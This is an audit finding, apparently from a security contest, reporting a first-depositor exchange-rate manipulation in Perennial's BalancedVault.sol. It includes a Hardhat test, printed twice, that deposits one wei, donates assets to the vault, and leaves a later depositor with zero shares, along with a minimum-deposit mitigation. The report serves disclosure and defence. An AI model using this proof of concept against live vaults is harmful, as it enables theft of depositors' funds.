BalancedVault.sol: Early depositor can manipulate exchange rate and steal funds
The first depositor can mint a very small number of shares, then donate assets to the Vault. Thereby he manipulates the exchange rate and later depositors lose funds due to rounding down in the number of shares they receive.\\nThe currently deployed Vaults already hold funds and will merely be upgraded to V2. However as Perennial expands there will surely be the need for more Vaults which enables this issue to occur.\\nYou can add the following test to `BalancedVaultMulti.test.ts`. Make sure to have the `dsu` variable available in the test since by default this variable is not exposed to the tests.\\nThe test is self-explanatory and contains the necessary comments:\\n```\\nit('exchange rate manipulation', async () => {\\n      const smallDeposit = utils.parseEther('1')\\n      const smallestDeposit = utils.parseEther('0.000000000000000001')\\n\\n      // make a deposit with the attacker. Deposit 1 Wei to mint 1 Wei of shares\\n      await vault.connect(user).deposit(smallestDeposit, user.address)\\n      await updateOracle();\\n      await vault.sync()\\n\\n      console.log(await vault.totalSupply());\\n\\n      // donating assets to Vault\\n      await dsu.connect(user).transfer(vault.address, utils.parseEther('1'))\\n\\n      console.log(await vault.totalAssets());\\n\\n      // make a deposit with the victim. Due to rounding the victim will end up with 0 shares\\n      await updateOracle();\\n      await vault.sync()\\n      await vault.connect(user2).deposit(smallDeposit, user2.address)\\n      await updateOracle();\\n      await vault.sync()\\n\\n      console.log(await vault.totalAssets());\\n      console.log(await vault.totalSupply());\\n      // the amount of shares the victim receives is rounded down to 0\\n      console.log(await vault.balanceOf(user2.address));\\n\\n      /*\\n      at this point there are 2000000000000000001 Wei of assets in the Vault and only 1 Wei of shares\\n      which is owned by the attacker.\\n      This means the attacker has stolen all funds from the victim.\\n      */\\n    })\\n```\\n
This issue can be mitigated by requiring a minimum deposit of assets. Thereby the attacker cannot manipulate the exchange rate to be so low as to enable this attack.
The attacker can steal funds from later depositors.
```\\nit('exchange rate manipulation', async () => {\\n      const smallDeposit = utils.parseEther('1')\\n      const smallestDeposit = utils.parseEther('0.000000000000000001')\\n\\n      // make a deposit with the attacker. Deposit 1 Wei to mint 1 Wei of shares\\n      await vault.connect(user).deposit(smallestDeposit, user.address)\\n      await updateOracle();\\n      await vault.sync()\\n\\n      console.log(await vault.totalSupply());\\n\\n      // donating assets to Vault\\n      await dsu.connect(user).transfer(vault.address, utils.parseEther('1'))\\n\\n      console.log(await vault.totalAssets());\\n\\n      // make a deposit with the victim. Due to rounding the victim will end up with 0 shares\\n      await updateOracle();\\n      await vault.sync()\\n      await vault.connect(user2).deposit(smallDeposit, user2.address)\\n      await updateOracle();\\n      await vault.sync()\\n\\n      console.log(await vault.totalAssets());\\n      console.log(await vault.totalSupply());\\n      // the amount of shares the victim receives is rounded down to 0\\n      console.log(await vault.balanceOf(user2.address));\\n\\n      /*\\n      at this point there are 2000000000000000001 Wei of assets in the Vault and only 1 Wei of shares\\n      which is owned by the attacker.\\n      This means the attacker has stolen all funds from the victim.\\n      */\\n    })\\n```\\n